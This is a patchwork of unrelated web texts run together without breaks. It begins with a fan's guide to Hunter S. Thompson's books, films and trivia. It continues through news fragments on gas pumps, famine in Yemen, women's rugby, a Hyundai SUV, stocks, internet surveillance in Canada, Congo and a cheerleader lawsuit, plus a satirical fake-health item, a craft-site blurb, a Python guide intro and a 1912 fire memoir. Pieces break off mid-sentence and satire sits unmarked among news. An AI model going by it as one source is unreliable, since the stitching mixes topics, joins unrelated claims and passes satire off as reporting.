This began as an article for The Nation newspaper titled “The Motorcycle Gangs: Losers and Outsiders.” Hunter S. Thompson left nothing to chance and melded with the Hell’s Angels gang in an above and beyond style which left no stone in the gang’s world unturned. For any Thompson fan this is a must read. For a collector a first edition is valuable asset.
Hell’s Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs. Hunter S. Thompson 1966 – 1967
Fear and Loathing in Las Vegas
This is probably one of only a few books around that needs no introduction.
In a trip that began as coverage for an article and ended as a search for the American dream, HST branded the literary world with “pure Gonzo journalism.” I think we can safely say it is the Holy Grail of Hunter Thompson’s first editions.
Fear and Loathing in Las Vegas. A Savage Journey to the Heart of the American Dream, Hunter S. Thompson 1971
Fear and Loathing in Las Vegas.
A Savage Journey to the Heart of the American Dream. 1971, Hunter S. Thompson.
“Fear and Loathing on the Campaign Trail 72” has been described as “the least factual and most accurate account” of the 72 Presidential Campaign. It is by far my favourite Hunter Thompson book. Thompson quickly made a name for himself while covering this campaign. Through this book you’ll get a great insight into Thompson’s love, and expert knowledge of politics, not to mention his great wit. This book was born out of the presidential campaign articles he wrote for Rolling Stone Magazine throughout 1972.
Fear and Loathing on the Campaign Trail 72. Hunter S. Thompson 1972
“The Great Shark Hunt: Strange Tales From a Strange Time” The Gonzo papers Volume 1.
This is the first in a series of 4 Gonzo Papers Volumes. It covers Thompson’s essays and articles from1956 to 1970 inclusive. There is more than enough in this book to keep everyone happy. If I was asked to recommend a HST book to a “non fan” it would be this one.
The Great Shark Hunt: Strange Tales Form a Strange Time
Hunter S. Thompson 1979
The Curse of Lono
This was conceived after Thompson was asked by Running Magazine to go to Hawaii to cover the Honolulu marathon. He decided he wanted to bring Ralph Steadman who did the fantastic illustrations. Naturally things took a turn for the interesting. An underrated book in my opinion.
The Curse of Lono
Hunter S. Thompson 1983
Generation of Swine Tales of Shame and Degradation in the ‘80s
The Gonzo Papers Vol. 2 are, in a nutshell, Thompson’s San Francisco Examiner articles loaded into a book. These snappy pieces are a perfect example of how he practised the journalism craft in his unmistakable way. First published in 1988 it’s maybe not as collectible as his earlier work, but give it time.
Generation of Swine Tales of Shame and Degradation in the ‘80s.
The Gonzo Papers Vol.2
Hunter S. Thompson 1988
Songs of the Doomed: More Notes on the Death of the American Dream
The Gonzo Papers Volume 3 is a selection of some of Thompson’s best work. It includes some of his funniest articles and essays. Also includes excerpts from his unpublished novel “Prince Jellyfish.” For a collector there are some nice quirky editions.
Songs of the Doomed: More Notes on the Death of the American Dream
The Gonzo Papers Volume.3
Hunter S. Thompson 1990
Screwjack
This is three-story piece that, in Thompson’s own words ‘build like Bolero to a faster & wilder climax that will drag the reader relentlessly up a hill, & then drop him off a cliff. That is the desired effect.’ The three stories are “Mescalito” “Death of a Poet” and “Screwjack.”
Screwjack. Hunter S. Thompson 1991
Better Than Sex: Confessions of a Political Junkie
Trapped Like a Rat in Mr Bill’s Neighbourhood
The Gonzo Papers Volume 4 is the only volume of The Gonzo papers that contains mostly new material. The main focus is on Bill Clinton and his election. Also included, some mention of Thompson’s own campaign for Sheriff. A funny and all too underrated book.
Better Than Sex, Confessions of a Political Junkie
Hunter S. Thompson 1994
The Rum Diary
Thompson’s long lost novel. Written in the 60s published in 1998. It is an account of fictional journalist Paul Kemp’s trip to Puerto Rico to work for “The Daily News”
News paper. Some describe it as a treacherous, violent, sexy account of a crazy journalist loose in San Juan. Sound familiar? Recently released as a movie starring whom else but Johnny Depp.
The Rum Diary
Hunter S. Thompson 1998
Fear and Loathing in America
The Brutal Odyssey of an Outlaw Journalist 1968–1976” Fear and Loathing letters vol. 2 is Thompson’s second book of letters. Through these letters we can see the Thompson we know of today begin to emerge and form. As usual his letters are an
Interesting way to learn about the real HST.
Fear and Loathing in America
The Brutal Odyssey of an Outlaw Journalist
Hunter S. Thompson 1968–1976
Hey Rube
Blood Sport, the Bush Doctrine, and the Downward Spiral of Dumbness” is a
Collection of over 80 articles written by Thompson for ESPN: COM’s Page 2. His column was called Hey Rube. Mostly covering sports-related topics it does drift into other subjects from time to time.
Hey Rube: Blood Sport, the Bush Doctrine, and the Downward Spiral of Dumbness ©
2004 Hunter S Thompson.
Fire in the Nuts
Published by Hunter S. Thompson, Ralph Steadman, Joe Petro III and Walt Bartholomew. A total of 176 copies were made. 26 lettered copies in a box with a Ralph Steadman print, and 150 numbered copies. Signed by Thompson and Steadman.
Gonzo
A book of photographs with an introduction by Johnny Depp. Published by Ammo Books in 2006. Also published in a limited edition of 3000.
FILMOGRAPHY
Fear and Loathing in Las Vegas (1998)
This is one of my favourite films ever made. Written By Hunter S. Thompson and Terry Gillian, directed by Terry Gilliam. Need I say more!
The film Centred around journalist Raoul Duke (Hunter S. Thompson’s alter ego) and his psychopathic lawyer. They travel to Las Vegas in search for the American dream and embark on a series of psychedelic escapades. Johnny Depp was born to play this part; he plays it that well that it could be Hunter S. Thompson himself. Benicio Del Toro also plays a fantastic part as Dukes Lawyer. With the two of them playing their parts perfectly and Hunter S. Thompson with Terry Gilliam at the helm, It’s a match made in heaven and couldn’t be any more perfect.
Director: Terry Gilliam
Writers: Hunter S. Thompson (book), Terry Gilliam (screenplay)
Stars: Johnny Depp, Benicio Del Toro, Tobey Maguire.
The Rum Diary (2011)
American journalist Paul Kemp takes on a freelance job in Puerto Rico for a local newspaper during the 1960s and struggles to find a balance between island culture and the expatriates who live there. Once again Johnny Depp is fantastic as always, I love the film but at the same time it can’t be compared to Fear and Loathing in Las Vegas’s adaptation to the book. I think this has a lot to do with the fact that Hunter S. Thompson was not still with us to watch over the filming and script, also the genius of Terry Gilliam.
Director: Bruce Robinson
Writers: Hunter S. Thompson (novel) and Bruce Robinson (screenplay),
Stars: Johnny Depp, Giovanni Ribisi, Aaron Eckhart
Where the Buffalo Roam (1980)
Semi-biographical film based on the experiences of Gonzo journalist Hunter S. Thompson. As much as I love Bill Murray, Johnny Depp just wipes the floor with him and really makes the part his own in Fear and Loathing in Las Vegas. After Fear and Loathing it’s hard to take to watch Where the Buffalo Roam in the same way.
Director: Art Linson
Writers: Hunter S. Thompson (stories), John Kaye (screenplay)
Stars: Peter Boyle, Bill Murray, Bruno Kirby
Gonzo: The Life and Work of Dr. Hunter S. Thompson (2008)
A portrait of the late Gonzo journalist Hunter S. Thompson.
Fuelled by a raging libido, Wild Turkey, and superhuman doses of drugs, Thompson was a true “free lance, ” goring sacred cows with impunity, hilarity, and a steel-eyed conviction for writing wrongs. Focusing on the good doctor’s heyday, 1965 to 1975, the film includes clips of never-before-seen (nor heard) home movies, audiotapes, and passages from unpublished manuscripts. This documentary really is amazing and a must see for any fans of the genius that is Hunter S. Thompson.
Director: Alex Gibney
Writers: Alex Gibney (screenplay), Hunter S. Thompson (writings)
Stars: Hunter S. Thompson, Johnny Depp, Joe Cairo
Trivia about Hunter S. Thompson
The character of “Duke” in Garry Trudeau’s “Doonesbury” comic strip is based on him.
Lived next to Don Johnson.
Ran for Sheriff of Aspen, Colorado, in 1969 on the Freak Power Party ticket, and narrowly lost.
Graduate of Louisville (Ky.) Male High School, class of 1955. Missed his graduation exercises because he was in jail. He later started calling himself Dr. Thompson, after purchasing a doctorate in Divinity from a church by mail order.
Appeared on a 1967 broadcast of “To Tell the Truth” when his book detailing his experiences with the “Hell’s Angels” was published.
Once sold a Cadillac Eldorado to Lyle Lovett.
Underground cartoonist turned comics and animation historian Scott Shaw based a recurring character in his works after Thompson: an anthropomorphic dog named “Pointer X. Toxin”.
His final wishes stipulated that his body be cremated and his ashes be shot out of a cannon across his Colorado ranch. Journalist friend Troy Hooper said “He was a big fan of bonfires and explosions and anything that went bang and I’m sure he’d like to go bang as well.” This finally happened on August 20, 2005, along with a big celebration, attended by Sean Penn, Johnny Depp, Lyle Lovett, and other close friends and family.
Grandson, son of his only child Juan, was born 1998.
Wife, Anita, was 35 years younger than he was.
Shortly before his death, he talked in his ESPN.com column about ‘inventing’ a new sport: Shotgun Golf.
He was the basis for the character Spider Jerusalem in the comic series “Transmetropolitan” by Warren Ellis and Darik Robertson.
Has a song entitled “Bat Country” written after him by the band Avenged Sevenfold.
Wanted his remains to be shot out of a 150-foot long canon. The canon had to be built especially to fulfil this last wish.
Johnny Depp, who starred in two movie adaptations of Thompson’s books (“Fear and Loathing in Las Vegas and The Rum Diary”), helped to fulfil his last, wish.
In order to improve his writing style, he once copied F. Scott Fitzgerald’s novel “The Great Gatsby” word for word, from start to finish.
Rode a BSA A65 Lightning most notably whilst researching his seminal book Hell’s Angels. Towards the end of his period with the Hell’s Angels, he wrote that he was beaten up by them.
Rode a BSA A65 Lightning most notably whilst researching his seminal book “Hell’s Angels”. Towards the end of his period with the Hell’s Angels, he wrote that he was beaten up by them.
His favourite pastime was to load a barrel or oil drum with explosives and then shoot it from a safe distance with one of his many handguns.
After covering the 1972 Democratic Convention in Miami for Rolling Stone Magazine, Thompson went for an evening swim in the ocean to clear his head. A light tropical storm blew up, Thompson got caught in a riptide, and he was swept out to sea. He spent the rest of the night fighting to swim back to the beach, finally crawling ashore at 9:00 A.M.
His son Juan graduated from college Magna Cum Laude.
His Mother is a chronic alcoholic.
With the aid of two friends he robbed a liquor store by starting a fight with the clerks and then cleaning out the cash register in the confusion.
During his adolescence, he and two friends broke into and robbed the same Lexington (Kentucky) gas station on three consecutive nights.
Critics have often contended that his writing style noticeably declined after his wife, Sandy, divorced him.
Following high school graduation, he joined the Air Force as a condition of his parole.
When he lived in Big Sur in the early 1960s, he rode his BSA Lightning so much he was known as “The Wild One of Big Sur”.
Pleaded no contest to a drunken driving charge in San Francisco in 1987.
When he lived in Big Sur in the early 1960s, his next door neighbor was Joan Baez.
When he was living in Big Sur in the early 1960s, a group of religious fanatics moved in next door. He got rid of them by nailing the head of a wild boar to their front door, and by putting its entrails in their car.
One of the most widely quoted lines from tributes and obituaries to him was from one written by Frank Kelly Rich, editor and publisher of Modern Drunkard Magazine: “There was always a powerful comfort in knowing he was out there somewhere in the night, roaring drunk, guzzling high-octane whiskey and railing against a world amok with complacency and hypocrisy.”
His lifelong antipathy for Richard Nixon was known by the former president, who barred him from the White House.
Following Richard Nixon’s appearance in New Hampshire during the 1968 campaign, he offered Thompson a lift to the airport on the condition that the two of them talk about nothing but football. Thompson accepted, mostly because he thought Nixon knew nothing about the sport. He discovered that, in fact, Nixon was an avid fan, clear down to which colleges the top players were from!
Was a staunch opponent of the War in Iraq in his later years.
Was extremely critical of the Bush administration. He once said “if Nixon were running, I would happily vote for him instead”.
Shortly after Ernest Hemingway’s suicide in Ketcham, Idaho, he wrote an article titled, “What Lured Hemingway to Ketcham”. Thompson concluded that Hemingway had become depressed because all of the author’s favourite haunts – such as Paris and Cuba – had changed, and all of his friends were dead or different. Hemingway had nothing to live for. Ironically, the same thing happened to Thompson.
Biography in: “The Scribner Encyclopaedia of American Lives”. Volume 7, 2003-2005, pages 538-541. Farmington Hills, MI: Thomson Gale, 2007.
Had his first run in with the law at the age of 9, when him and a group of friends knocked a federal mailbox in front of a city bus.
Fear and Loathing in Las Vegas Trivia
Near end of this film, Duke takes too much “andrenichrome” and has a nasty experience. Andrenichrome was a substance that Hunter S. Thompson made up for the book when he originally wrote it, and was kept in the script by Terry Gilliam. The name itself wasn’t new – Adrenochrome is an oxidation product of adrenaline, while Adrenochrome semicarbazone, also known as carbazochrome, is used as a medicinal drug to reduce capillary bleeding – however, neither compound is a hallucinogenic drug as portrayed in the book/film. After showing a rough-cut of the film to a test audience, Gilliam was approached by a group of young men, one of which complimented him on the film in general, but said that his favourite scene was the andrenichrome scene. He said that he had used the drug and that Gilliam had captured the effects perfectly. Gilliam didn’t have the heart to tell the kid that it was made up, and went along with his story.
Hunter S. Thompson himself shaved Johnny Depp’s head. They were in Thompson’s kitchen, Depp refused to look in a mirror, and Thompson wore a miner’s hard hat.
Hunter S. Thompson had previously been portrayed by Johnny Depp’s Ed Wood (1994) co-star Bill Murray in the film “Where The Buffalo Roam.” Prior to filming, Murray called Depp with the advice “Be careful or you’ll find yourself ten years from now still doing him…Make sure your next role is some drastically different guy.”
Near beginning of the movie, while Dr. Gonzo and Raoul are driving down the highway, there is an accident involving many cars. There is an ambulance about to put a person that is covered with a white sheet in it. If you look on the white sheet, there is a smiley face in blood on it.
Benicio Del Toro gained 40 pounds for his role as Dr. Gonzo and, in the commentary during the Criterion Collection version of the DVD, says to have done so by eating multiple donuts every day.
The T-shirt that the hitchhiker (Tobey Maguire) wears has a Ralph Steadman picture on it. Ralph Steadman did the original illustrations for the book and the typeface of the credits is based on his handwriting.
Author Hunter S. Thompson strongly objected to the scene where Raoul Duke tosses change at the dwarf waiter, finding it distasteful and inaccurate to the character.
During the early stages during the initial development hell to get the film made, Jack Nicholson and Marlon Brando were originally considered for the roles of Duke and Gonzo, and Nicholson was attached, but he, and Brando, both grew too old. Afterward, Dan Aykroyd and John Belushi were considered for the duo, but that fell apart when Belushi died. John Malkovich was later considered for the role of Duke, but he too grew too old. At one point John Cusack was almost cast, but then Hunter S. Thompson met Johnny Depp, and was convinced no one else could play him |
of Standards of Technology, part of the Commerce Department.
Bob Wolfram knew something was wrong when the pump he used in Davenport, Iowa, showed he put 2 more gallons of gas into his tank than the tank holds.
"I was low, but it wasn't negative," said Wolfram, a 54-year-old engineer.
He reported it to a consumer Web site and took it to government regulators, who acted promptly. But even then, the test showed the pump was only off a quart.
"I just kind of said, 'What will they do next?' " Wolfram said.
Correcting the problem depends on alert, well-informed consumers like Wolfram. It also depends on honest retailers who choose to pass along reports to regulators who must confirm the problem before an authorized repair company is called to fix it.
"There's one Mobil owner, he tells clerks that if there's a discrepancy within $5 to reimburse the customer," said C. Todd Godlewski, director of the Schenectady County Bureau of Weights and Measures in upstate New York, the agency that inspects pumps.
"Yes, it can be that much," he said.
A bad valve can also work against retailers, freezing the price gauge for an instant after gas starts flowing. No one's sure who gets gored more, or how deeply.
"Even one penny on the amount of petroleum pumped annually or weekly at a station would be several thousand gallons of fuel, and add that up," Godlewski said. "If you have a meter that is costing a customer, it adds up quite a bit."The ruins carpeted the city market, rippling outwards in waves of destruction. Broken beams, collapsed roofs, exploded metal shutters and fossilized merchandise crumbled underfoot.
In one of the burnt-out shells of the shops where raisins, nuts, fabrics, incense and stone pots were traded for hundreds of years, all that was to be found was a box of coke bottles, a sofa and a child nailing wooden sticks together.
This is Sa’ada, ground zero of the 20-month Saudi campaign in Yemen, a largely forgotten conflict that has killed more than 10,000, uprooted 3 million and left more than half the country short of food, many on the brink of starvation.
Gaith Abdul-Ahad in The Guardian, 12/9/16
Yemen stands as the worst-threatened of four countries where impending famine conditions have been said to comprise the single-worst humanitarian crisis since the founding of the U.N. On May 2nd, 2017, the UN Office for the Coordination of Humanitarian Affairs published a grim infographic detailing conditions in Yemen where 17 million Yemenis — or around 60 percent of the population — are unable to access food. The U.S. and its allies continue to bomb Yemen.
Jan Egeland, who heads the Norwegian Refugee Council (NRC), says that seven million Yemeni people are on the brink of famine. “I am shocked to my bones,” said Egeland, following a five day visit to Yemen. “The world is letting some 7 million men, women and children slowly but surely be engulfed…” Egeland blames this catastrophe on “men with guns and power in regional and international capitals who undermine every effort to avert an entirely preventable famine, as well as the collapse of health and educational services for millions of children.” Egeland and the NRC call on all parties to the conflict, including Saudi Arabia, the United Arab Emirates, Iran, the U.S. and the U.K. to negotiate a cease fire.
This weekend, the situation stands poised to become dramatically worse with the apparently imminent bombing, by Saudi Arabia, one of the U.S.’ closest allies, of the aid lifeline which is the port of Hodeida.
Egeland stresses the vital importance of keeping humanitarian aid flowing through Hodeida, a port which stands mere days or hours from destruction. “The Saudi-led, Western-backed military coalition has threatened to attack the port,” said Egeland, “which would likely destroy it and cut supplies to millions of hungry civilians.” U.S. congress people demanding a stay on destruction of the port have as yet won no concessions from the Saudi or U.S governments.
The U.S. Government has as yet sounded no note of particular urgency about ending or suspending the conflict, nor has its close ally in the Saudi dictatorship. Saudi Arabia’s Defense Minister, Prince Mohammed bin Salman recently gave “a positive view of the war in Yemen.” ( New York Times, May 2, 2017). He believes that Saudi forces could quickly uproot the Houthi rebels, but rather than endanger Saudi troops he says “the coalition is waiting for the rebels to tire out.”
“Time is in our favor,” he added.
Even if Hodeida is spared, reduced import levels of food and fuel from the Saudi-imposed naval blockade puts the price of desperately needed essentials beyond the reach of the poorest. Meanwhile prolonged conflict, dragged out by a regime that feels “time is on its side” and punctuated by deadly airstrikes, has displaced the needy to those areas where food insecurity is the highest.
Refugees from three North African countries where conflict is also threatening to impose terrible famine have Yemen on their route to escaping the continent, so they have fled conflict and famine only to be trapped in the worst of this dreadful year’s arriving tragedies.
The UN’s High Commissioner for Human Rights, Zeid Ra’ad Al Hussein, describes the present situation, two years since Saudi airstrikes escalated the conflict:
“The violent deaths of refugees fleeing yet another war, of fishermen, of families in marketplaces – this is what the conflict in Yemen looks like two years after it began…utterly terrible, with little apparent regard for civilian lives and infrastructure.
“The fighting in Hodeida has left thousands of civilians trapped – as was the case in Al Mokha in February – and has already compromised badly-needed deliveries of humanitarian assistance. Two years of wanton violence and bloodshed, thousands of deaths and millions of people desperate for their basic rights to food, water, health and security – enough is enough. I urge all parties to the conflict, and those with influence, to work urgently towards a full ceasefire to bring this disastrous conflict to an end, and to facilitate rather than block the delivery of humanitarian assistance.”
Time is on no-one’s side as regards the crisis in Yemen. As nightmare visions of living skeletons with bloated bellies and pleading eyes once more appear on the planet’s TV screens, we in the U.S. will have missed a vital chance to avert a world in which untold millions are to be shocked to their bones.
Kathy Kelly, (Kathy@vcnv.org), co-coordinates Voices for Creative Nonviolence (www.vcnv.org)Katy McLean
Scotland 0 (0)
England 63 (29)
Tries: McGilchrist, Reed, Thompson, Purdy, Hunter, McLean, Scaratt, Alphonsi, Allan, Hemming, Gallagher Cons: McLean 4
Captain Katy McLean led the way with 13 points as England women got their Six Nations title bid back on track with a crushing 63-0 victory over Scotland.
The visitors recovered from their 18-6 defeat by France in their opening match in style, scoring 11 tries in Aberdeen.
England's remaining fixtures 22 Feb: H v Ireland 7 March: H v Wales 16 March: A v Italy
Joanne McGilchrist, Amber Reed, Lydia Thompson and Claire Purdy scored first-half tries, before McLean went over.
Sarah Hunter, Emily Scarratt, Maggie Alphonsi, Claire Allan, Sophie Hemming and Hannah Gallagher also crossed.
England face reigning Grand Slam champions Ireland at Twickenham in their next match, on 22 February.
McGilchrist capped her return from injury to score after just six minutes as England eased into a 29-0 lead at the break.
Skipper McLean led by example after the restart with a 49th-minute try as Scotland, who were thrashed 59-0 by Ireland in their opening game, struggled to handle England's pace and power.
The Scots were tested still further as England's replacements contributed to some powerful scrums and drives, which the hosts could not handle.
Indeed Scarratt and Alphonsi both scored after good work by the forwards before Allan, Hemming and Gallagher rounded off proceedings.Updated February 1, 2018, to include pricing.
Hyundai Kona: Make that four Hyundai SUV models by March 2018.
Hyundai’s US sales are down this year and for one significant reason: the automaker lacks a tiny SUV, a model occupying the red-hot subcompact range. This week, the Korean automaker introduced the Kona, its first global B-segment SUV.
An early 2018 arrival awaits the US-spec Hyundai Kona, following its rollout in Korea this month. It’ll be Hyundai’s fourth SUV, joining the compact Tucson along with the midsize Santa Fe and Santa Fe Sport models. Although late to market, the Kona should stem Hyundai’s recent sales drop as much of the brand’s 7.5-percent sales decline through May 2017 is due to its current product line skewing towards cars.
2018 Hyundai Kona
Hyundai revealed the all-new Kona in South Korea on Monday. The new model has the same platform supporting its smallest car, the subcompact Accent and features a sharp, yet modern design. It offers a canvas closer to the Toyota C-HR, a slightly larger model that rolled out this Spring.
Target customers are millennials, individuals who may be searching for their first new car. Hyundai must do battle with more established players, including the Nissan Juke, Chevrolet Trax, Honda HR-V, Jeep Renegade, Fiat 500X and the Mazda CX-3. Like the Kona, each of these models offers standard front-wheel drive and available all-wheel drive, powered by naturally or turbocharged four-cylinder engines.
Among the exterior highlights of the 2018 Kona are its cascading grille, front LED lights, slim brake lights with turn signal indicators and reverse lamps, and floating roof look. The Kona’s profile features pronounced wheel wells, body sculpting, and available rocker panel trim. The roof has a two-tone color scheme for yet more differentiation in a crowded segment.
Superior Interior Room
Inside, you’ll find space for five, although seating is best for four. That said, Hyundai claims best-in-class interior space.
The automaker utilizes an AVN (audio, visual, navigation) monitor for incorporating Hyundai Motor’s advanced infotainment features. The monitor design is such that it appears to float on the dashboard, enhancing this SUV’s open feeling.
Further design elements of note include the mechanical air vents and functional button arrangement, what underscore the high-tech capabilities of the exterior. The AVN and HVAC (heating, ventilation and air conditioning) controls come encompassed by light, fluid details that advance the Kona’s relaxed habitat. Each model has high-positioned seats, including fold-flat rear seats.
Two Familiar Engine Choices
Hyundai will offer a pair of engine choices for the 2018 Kona, including a 2.0-liter with 147 horsepower and 196 pound-feet of torque. A six-speed automatic transmission sends power to the wheels.
The second choice is a turbocharged 1.6-liter four-cylinder engine generating 175 horsepower and 132 pound-feet of torque. This one comes paired with a seven-speed dual-clutch transmission. Three driving modes — sport, normal, and eco are at the ready. Hyundai utilizes the two powertrains in other models, including the Sonata sedan.
Hyundai promises different rear suspension systems for the two- and four-wheel drive models with the goal to deliver a comfortable ride and sporty handling. The automaker is also the only one to make its own steel, utilizing 51.8-percent advanced high strength steel for the Kona’s lightweight body frame.
Kona Technology Choices
On the technology front, models will feature five-, seven- or eight-inch displays, HD Radio, a rearview camera, and 4G telematics. Apple CarPlay and Android connectivity, a head-up display (HUD), and audio system choices round out the available tech features.
To sum up, the 2018 Kona is the right new model for Hyundai. As customers continue to flee coupes, hatchbacks, and sedans, the one glaring hole in the automaker’s product line will soon close.
2018 Hyundai Kona Prices
In January 2018, Hyundai announced pricing for the 2018 Kona. Available in SE, SEL, Limited and Ultimate trims, all models come with standard front-wheel drive and available all-wheel drive.
A 2.0-liter inline-four with a six-speed automatic transmission powers the SE ($19,500) and SEL ($21,150); a 1.6-liter turbocharged four-cylinder engine paired with a seven-speed dual-clutch transmission motivates the Limited ($24,700) and Ultimate ($27,400) trims. Add $1,300 for all-wheel drive and $950 for the destination fee. The contrasting color roof, available on the SEL trim only, is a $150 upgrade.
See Also — Premium Compact: 2017 Hyundai Elantra Limited
Photo copyright Hyundai Motors.Even stocks appear to be abandoning President Trump.
The Dow Jones industrial average nosedived 274 points on Thursday as investors grew increasingly concerned that Trump’s toxic tongue is endangering his ambitious economic agenda.
It was the second-biggest decline for the Dow this year — which had powered ahead more than 20 percent since Election Day.
The Dow closed at 21,750.73, down 1.2 percent, while the Nasdaq fell 1.9 percent, to 6,221.91, and the S&P 500 dipped 1.5 percent, to 2,430.01.
The Dow was dragged down by Goldman Sachs, which dropped 1.8 percent, to $221.42. Only Apple and Cisco Systems fell more.
Wall Street is worried that Trump’s chief economic adviser, Gary Cohn, Goldman’s former president, could step down from his post in the wake of Trump’s equivocating comments on white supremacists in Charlottesville, Va.
Cohn, who’s Jewish, was reportedly “anguished” by Trump’s comments that some of the white nationalist protesters were “very fine people.”
The value of the dollar dropped early Thursday on rumors that he was going to leave the administration. The White House responded to the rumor by saying Cohn was staying put.
Cohn has been working with Treasury Secretary Steve Mnuchin — a fellow Goldman alumnus — on a sweeping corporate tax package.
Without Cohn, tax reform and other economic moves would be harder to accomplish, Wall Street pros said.
Cohn is so important to Wall Street that the Financial Times rebranded the last year of gains as the “Cohn trade.”A new online database called IXmaps has gone live, put together by University of Toronto researchers and funded by the.CA Community Investment Program, to help Canadians understand how their data traffic moves, particularly how it moves through nodes in the United States and therefore under the jurisdiction of the U.S. National Security Agency.
The project is also designed to offer Canadians a sense of agency, in that you personally can contribute to the project, adding to the 40,000 internet routes already crowdsourced in the IXmaps database.
The most concerning point made by the project, for those that didn’t know already, is the fact that even if you’re sending an email from Point A (Halifax, let’s say) to Point B (any other Canadian destination), the data will almost definitely pass through an American data traffic hub and thereby be swept into the NSA info dragnet.
“There is nothing inherently wrong with data moving unencumbered across an interconnected global Internet infrastructure,” says the University of Toronto’s Andrew Clement. “It is, however, critical that Canadians understand the implications of their data being stored on U.S servers and moving through U.S. jurisdiction. ISPs need to be transparent, privacy protective and accountable custodians of user information in this regard. Internet users should be fully informed consumers and citizens when making choices about their sensitive personal data.”
And even if you’re not sending an email, but merely using a service like Facebook, Google, YouTube or Amazon, these are American companies operating in American jurisdictions, and so again, subject to data snooping and the hysterical overreach of the Patriot Act.
“Internet advocates across Canada have long recognised that truly Canadian Internet infrastructure is the only way to keep Canadians’ data under the purview of Canadian laws,” says Canadian Internet Registration Authority CTO Jacques Latour. “At the Canadian Internet Registration Authority we have invested heavily in the east to west backbone of Internet exchanges points required to maintain Canadian Internet traffic routes.”
For people who advocate an “I have nothing to hide” attitude when it comes to either the NSA or CSEC, the fact that the personal email, health information, financial records, social media postings, and all that associated metadata, travels through hubs in foreign jurisdictions should be a concern.
“Few Canadians realize just how much of our everyday Internet traffic travels through the U.S.,” says OpenMedia Digital Rights Specialist Laura Tribe. “You could be in a restaurant in downtown Montréal emailing your friend across the street, and that data could easily be traveling through the U.S., where it’s subject to invasive NSA surveillance. That’s why it’s so important that Canadians pitch in, and help us learn more about the paths our data actually takes online.”
Aside from merely making you paranoid and afraid, the IXmaps project is there to help Canadians contribute to a database designed to illustrate a larger problem, which will hopefully attract the attention of Canada’s privacy commissioner.ROCHESTER, MN—In an effort to help working individuals improve their fitness and well-being, experts at the Mayo Clinic issued a new set of health guidelines Thursday recommending that Americans stand up at their desk, leave their office, and never return. “Many Americans spend a minimum of eight hours per day sitting in an office, but we observed significant physical and mental health benefits in subjects after just one instance of standing up, walking out the door, and never coming back to their place of work again,” said researcher Claudine Sparks, who explained that those who implemented the practice in their lives reported an improvement in mood and reduced stress that lasted for the remainder of the day, and which appeared to persist even into subsequent weeks. “We encourage Americans to experiment with stretching their legs by strolling across their office and leaving all their responsibilities behind forever just one time to see how much better they feel. People tend to become more productive, motivated, and happy almost immediately. We found that you can also really get the blood flowing by pairing this activity with hurling your staff ID across the parking lot.” Sparks added that Americans could maximize positive effects by using their lunch break to walk until nothing looks familiar anymore and your old life is a distant memory.
AdvertisementWelcome to friendship-bracelets.net! On this site, you can find patterns and descriptions on how to make the popular bracelets for yourself or a dear friend. Take part of this great hobby and start tying today! The site contents are made by the users. When you have signed up for an account, you can upload your own patterns, photos of your bracelets, useful links etc. So sign up and start giving inspiration to others! The origin of Friendship Bracelets Originally, these colorful bands were invented by Indians in Central and South America. According to tradition, you tie a bracelet onto the wrist of a friend who may wish for something at that moment. The bracelet should be worn until it is totally worn-out and falls off by itself, at which moment the wish is supposed to come true.KIGALI, Rwanda — Col. Mamadou Moustafa stood at the front lines of the battle for eastern Democratic Republic of Congo, surveying his soldiers fighting to dislodge rebels from the surrounding hills.
“We are fighting because we want to overcome the humiliation of both the Congolese Army and the international community,” he said recently in a Congolese town. “We are ready to die.”
A little more than a week later, the army got its victory. On Tuesday, the rebels announced that they were laying down their arms for good, a major turnaround brought about by a rare combination of pressures from around the world, including a more aggressive approach to peacekeeping by the United Nations.
The rebel surrender offered new hope for a region where conflict — and the failed international attempts to stop it — has gone on for so many years that it has often come to seem unresolvable, even inevitable.Richard Bain, the school's superintendent, ordered HS, then 16, to cheer or be expelled from the squad. She refused and was expelled, and she and her family filed suit in Texas courts on free speech grounds. Not only did two state courts rule against her, but a federal appeals court decided that her suit was "frivolous" and ordered her to pay $45,000 in damages to the school district.
The U. S. Supreme Court on Monday, refused to hear the case, letting the appeals court ruling stand, not only leaving HS and her family on the hook for $45,000, but denying justice on about as many levels as justice can be denied.
Should a rapist have been allowed to continue playing basketball for Silsbee as a "student-athlete?" I'm sure that decision was made with no regard to his value to the team, only with the good of the community in mind.
Should HS have been forced to cheer for her rapist? No snarky answer is possible. Mr. Bain's continued employment as school superintendent is beyond my imagination.
Should HS have retained her right to free speech despite her role as school cheerleader? The courts ruled that she was simply a "mouthpiece" and forfeited those rights when she put on that uniform. Where, at last, is their sense of decency?
Note that BentLiberal and Black Kos mentioned this case as part of more comprehensive diaries - I though it deserved a diary all to itself.
My legal adviser Adam B. points out that the $45,000 HS and her family must pay are not in fact damages, but in fact legal fees. I stand corrected.
First time on the recommended list for me - a great thrill. An even greater thrill is reading the comments - a thoughtful and nuanced discussion of a many-faceted story - what a community we have! I'm proud to be part of the discussion - thanks to all.About this Guide
This guide was created for complete beginners (i.e. with no programming or computer science experience) and will teach you programming fundamentals in a language called Python. Following a project-driven learning philosophy you will learn as you build your own project. There will be GIFs and screenshots throughout this guide to make everything as clear as possible.
As you complete this guide you'll be creating a virtual pet we'll call "Pypet" (a "Python-pet"). Remember tamagochis? (Or if you were born in the 90s then think POKEMON!) With each new Python programming concepts you learn, you will add new features to your "Pypet".
There are no software or computer requirements for this guide except that you need access to a web browser (which you obviously already have at this point). You will learn how to use a free tool called Nitrous to set up your developer environment which takes away the typical pain of setting up a coding environment. It is also cloud based so you can log in from any computer to view your code.
What is Python?
Python is a scripting programming language known for both its simplicity and wide breadth of applications. For this reason it is considered one of the best languages for beginners. Used for everything from Web Development to Scientific Computing (and SO much more), Python is referred to as a “general purpose” language by the greater programming community.
Many Python programmers (aka “Pythonistas”) love this language because it maintains a certain philosophy of best practices, described in Tim Peter’s famous “Zen of Python”. There is a large Python community both off and online that is welcoming and supportive of beginners, and you can find a plethora of additional materials in the resources section of this guide.Fred Elijah Coffin wrote about his experience in the Great Fire in a series of articles he published in 1912.
After the fire became well started and was forcing its way in three or four directions, it seemed as though it might, at any time, start directly up Main Street, and if so our house would go. At that time my father came to me — and I never before saw him so seriously in earnest — and said, "Fred, will you stand by me tonight?" I said, "Yes, I will!" And the old gentleman knew he could depend on me. We had no horse and it would have been impossible to find one that night, so my father obtained a large porter's push-cart and with that we transferred many loads of household goods to the premises of an uncle in the upper part of the town, but before the early daybreak it was evident that the fire was in control…
